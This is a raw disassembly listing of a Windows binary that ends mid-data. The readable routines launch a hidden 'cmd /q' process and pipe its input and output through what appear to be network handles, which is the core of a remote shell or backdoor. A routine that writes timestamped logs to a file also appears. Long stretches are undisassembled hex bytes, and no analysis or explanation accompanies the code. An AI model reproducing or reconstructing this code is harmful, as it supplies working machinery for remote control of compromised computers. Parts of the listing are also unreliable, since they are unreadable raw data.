89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 4107C068h, 0F0458D00h, 0E5E85056h, 900229F3h, 69B84D8Bh dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h dd 0FFFFFF37h, 5E8326Ah, 90022903h, 0E890EDEBh, 229FC0Fh dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h, 15FF087Dh dd 4CB5E8h, 0EC858D50h, 68FFFFFBh, 4348E4h, 0AC14E850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h, 0B6EC15FFh dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h dd 59FFFFA7h, 35E89056h, 5B022FF3h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD6 proc near ; CODE XREF: ___:0041096Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E27 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E59C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D41 nop call near ptr 26B0857h push eax push offset unk_434A7C call sub_415221 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7B ; --------------------------------------------------------------------------- loc_410D41: ; CODE XREF: sub_410CD6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D82 nop call near ptr 26B0857h push eax push offset unk_434A7C call sub_415221 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26C06DDh loc_410D7B: ; CODE XREF: sub_410CD6+69j xor eax, eax jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410D82: ; CODE XREF: sub_410CD6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0EB1h sub eax, ebx jz short loc_410DDC dec eax jz short loc_410DD6 dec eax jz short loc_410DC2 nop call near ptr 26B0857h push eax push offset unk_434A48 call sub_415221 pop ecx pop ecx jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DC2: ; CODE XREF: sub_410CD6+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DD6: ; CODE XREF: sub_410CD6+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DE0 ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: sub_410CD6+CFj push ebx push dword ptr [esi+14h] loc_410DE0: ; CODE XREF: sub_410CD6+104j nop call near ptr 26C06DDh push 1 push dword ptr [esi+8] nop call near ptr 2730B4Dh loc_410DF1: ; CODE XREF: sub_410CD6+EAj ; sub_410CD6+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB6EC push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E22: ; CODE XREF: sub_410CD6+A7j pop edi pop esi pop ebx leave retn sub_410CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F11 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E8A nop call near ptr 26B0857h push eax push offset unk_434B2C jmp short loc_410EAA ; --------------------------------------------------------------------------- loc_410E8A: ; CODE XREF: sub_410E27+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB2 nop call near ptr 26B0857h push eax push offset unk_434AEC loc_410EAA: ; CODE XREF: sub_410E27+61j call sub_415221 pop ecx jmp short loc_410EE0 ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_410E27+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F20 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F15 push offset unk_434AC4 call sub_4151AD loc_410EE0: ; CODE XREF: sub_410E27+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEC push [ebp+var_4] call edi loc_410EEC: ; CODE XREF: sub_410E27+BEj cmp [ebp+var_8], 0 jz short loc_410EF7 push [ebp+var_8] call edi loc_410EF7: ; CODE XREF: sub_410E27+C9j mov eax, [esi] test eax, eax jz short loc_410F00 push eax call edi loc_410F00: ; CODE XREF: sub_410E27+D4j mov eax, [esi+4] test eax, eax jz short loc_410F0A push eax call edi loc_410F0A: ; CODE XREF: sub_410E27+DEj push esi call sub_41B0B1 pop ecx loc_410F11: ; CODE XREF: sub_410E27+1Dj xor eax, eax jmp short loc_410F1B ; --------------------------------------------------------------------------- loc_410F15: ; CODE XREF: sub_410E27+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1B: ; CODE XREF: sub_410E27+ECj pop edi pop esi pop ebx leave retn sub_410E27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F20 proc near ; CODE XREF: sub_410E27+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2740000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2690C14h test eax, eax jz short loc_410FDC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E598[eax], ecx call near ptr 2690934h nop jmp short loc_410FF2 ; --------------------------------------------------------------------------- loc_410FDC: ; CODE XREF: sub_410F20+9Aj call near ptr 26B0857h nop push eax push offset unk_434B6C call sub_415221 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF2: ; CODE XREF: sub_410F20+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411022: ; CODE XREF: sub_410FF9+8Fj call ebx test eax, eax jz short loc_41108A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105D loc_411033: ; CODE XREF: sub_410FF9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104D cmp dl, 0Dh jz short loc_41104D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104D: ; CODE XREF: sub_410FF9+44j ; sub_410FF9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411033 loc_41105D: ; CODE XREF: sub_410FF9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CB6A4 test eax, eax jle short loc_41108A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411022 ; --------------------------------------------------------------------------- loc_41108A: ; CODE XREF: sub_410FF9+2Dj ; sub_410FF9+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A6 call esi push eax push offset dword_434BAC call sub_415221 pop ecx pop ecx loc_4110A6: ; CODE XREF: sub_410FF9+9Cj pop edi pop esi pop ebx leave retn sub_410FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AB proc near ; DATA XREF: sub_410CD6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C4: ; CODE XREF: sub_4110AB+39j ; sub_4110AB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB66C test eax, eax jle loc_4111C9 cmp [ebp+var_10], ebx jbe short loc_4110E6 dec [ebp+var_10] jmp short loc_4110C4 ; --------------------------------------------------------------------------- loc_4110E6: ; CODE XREF: sub_4110AB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411156 cmp al, 7Fh jz short loc_411156 cmp al, 3 jnz short loc_411111 push ebx push ebx call near ptr 27B0000h nop jmp short loc_41117D ; --------------------------------------------------------------------------- loc_411111: ; CODE XREF: sub_4110AB+5Aj cmp al, 15h jnz short loc_411133 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411133: ; CODE XREF: sub_4110AB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_41116A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411156: ; CODE XREF: sub_4110AB+52j ; sub_4110AB+56j cmp esi, ebx jbe short loc_411180 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411169: ; CODE XREF: sub_4110AB+86j ; sub_4110AB+A9j pop ecx loc_41116A: ; CODE XREF: sub_4110AB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CB6A4 test eax, eax jle short loc_4111C9 loc_41117D: ; CODE XREF: sub_4110AB+64j mov al, byte ptr [ebp+arg_0+3] loc_411180: ; CODE XREF: sub_4110AB+ADj cmp al, 0Dh jnz loc_4110C4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2720000h test eax, eax jz short loc_4111C9 xor esi, esi jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111A9: ; CODE XREF: sub_4110AB+47j cmp [ebp+var_C], ebx jnz short loc_4111BA mov [ebp+var_C], 1 jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111BA: ; CODE XREF: sub_4110AB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111C9: ; CODE XREF: sub_4110AB+2Bj ; sub_4110AB+D0j ... pop edi pop esi pop ebx leave retn sub_4110AB endp ; --------------------------------------------------------------------------- word_4111CE dw 8B55h ; DATA XREF: sub_401ACD+2C08o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E59Ch, 50EC458Dh, 8015FF57h, 85004CB6h dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh dd 0FD2C858Dh, 0BC68FFFFh, 500042BFh, 0A605E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch dd 0A599E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF9DFBh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 13D36850h, 56560041h dd 0ECD6E890h, 4D8B0229h, 34C969C8h, 3B000002h, 0A48189C6h dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0FBF6E890h dd 0EDEB0228h, 0F501E890h, 8D500229h, 0FFFD2C85h, 4C1C68FFh dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h dd 59FFFFA0h, 31E85659h, 90022FECh, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E59Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh dd 0FFFF9FC7h, 0E8905359h, 22FEBACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB66C15h, 7FC08500h, 0FF36FF18h dd 4CB6EC15h, 875FF00h, 0FF9F96E8h, 905359FFh, 2FEB7BE8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh, 400h, 0FB38858Dh dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh dd 0EAE6E853h, 6A90022Fh, 0E8458D10h, 69E85053h, 660000A0h dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh, 8B004CB6h dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h, 8D022FEAh dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h dd 5359FFFFh, 0E9DEE890h, 68022Fh, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F4FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B6A415FFh dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h dd 0FF022FE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh dd 69E89053h db 0E9h, 2Fh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AD: ; CODE XREF: ___:0041175Cj ; ___:0041178Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C5: ; CODE XREF: ___:004116D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C5 loc_4116D5: ; CODE XREF: ___:004116CAj cmp ecx, 1 jnz short loc_4116EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116EA: ; CODE XREF: ___:004116D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB63C lea eax, [ebp-104h] push eax push ebx call dword_4CB540 test eax, eax jz short loc_41174A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_411792 loc_41174A: ; CODE XREF: ___:0041171Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB540 test eax, eax jz loc_4116AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz loc_4116AD loc_411792: ; CODE XREF: ___:00411731j ; ___:00411748j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_411797 db 55h ; DATA XREF: sub_401ACD+210Eo ; sub_40BACE+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 59E80000h, 900228F7h dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022FE7h, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E59CB0h, 0D4458D00h, 9D16E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h dd 83004CB6h, 1975FFF8h, 138868h, 91E89000h, 0FF0228F6h dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 28F65FE8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh, 858DFFFFh dd 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h, 0FF9AF6E8h dd 1CC483FFh, 0D9E89053h, 8B022FE6h, 9F39087Dh, 2A0h, 295840Fh dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h dd 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h dd 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch, 2398E0Fh dd 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh, 89BD8DC0h dd 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h dd 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h, 2C15FF56h dd 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h, 50B0458Dh dd 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h, 80000001h dd 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh, 0E850FFFFh dd 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h, 8C858DFCh dd 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh, 20068h dd 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh, 96E0E801h dd 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h, 505351F4h dd 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch, 858D50B0h dd 0FFFFF888h, 434D8C68h, 17E85000h, 8300009Eh, 9D390CC4h dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h, 80000001h dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h dd 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0EFE85001h dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h, 75FB3B00h dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434D6Ch, 9D20E850h dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch dd 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 360Dh dd 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h dd 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh, 0FFFFFD5Fh dd 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh, 8DFF0000h dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh dd 0FFFF981Fh, 5E85359h, 90022FE4h, 3E868h, 3DE89000h dd 570228F3h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 27B015Fh lea eax, [ebp-114h] push 104h push eax call near ptr 26A0B90h nop lea eax, [ebp-114h] push offset asc_43554C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429120 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7B push 1 pop eax jmp short loc_411CF2 ; --------------------------------------------------------------------------- loc_411C7B: ; CODE XREF: ___:00411C74j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CF0 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_43551C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A73 add esp, 24h loc_411CF0: ; CODE XREF: ___:00411CB7j xor eax, eax loc_411CF2: ; CODE XREF: ___:00411C79j pop esi leave retn ; --------------------------------------------------------------------------- byte_411CF5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4509o dd 8DCEC81h, 458B0000h, 57565308h, 0F724A583h, 6A00FFFFh dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h, 0F015FFF8h dd 0BB004CB5h, 200h, 0E890086Ah, 228F1ECh, 0B5D815FFh dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh, 0FFFFFB24h dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h dd 4589FFFFh, 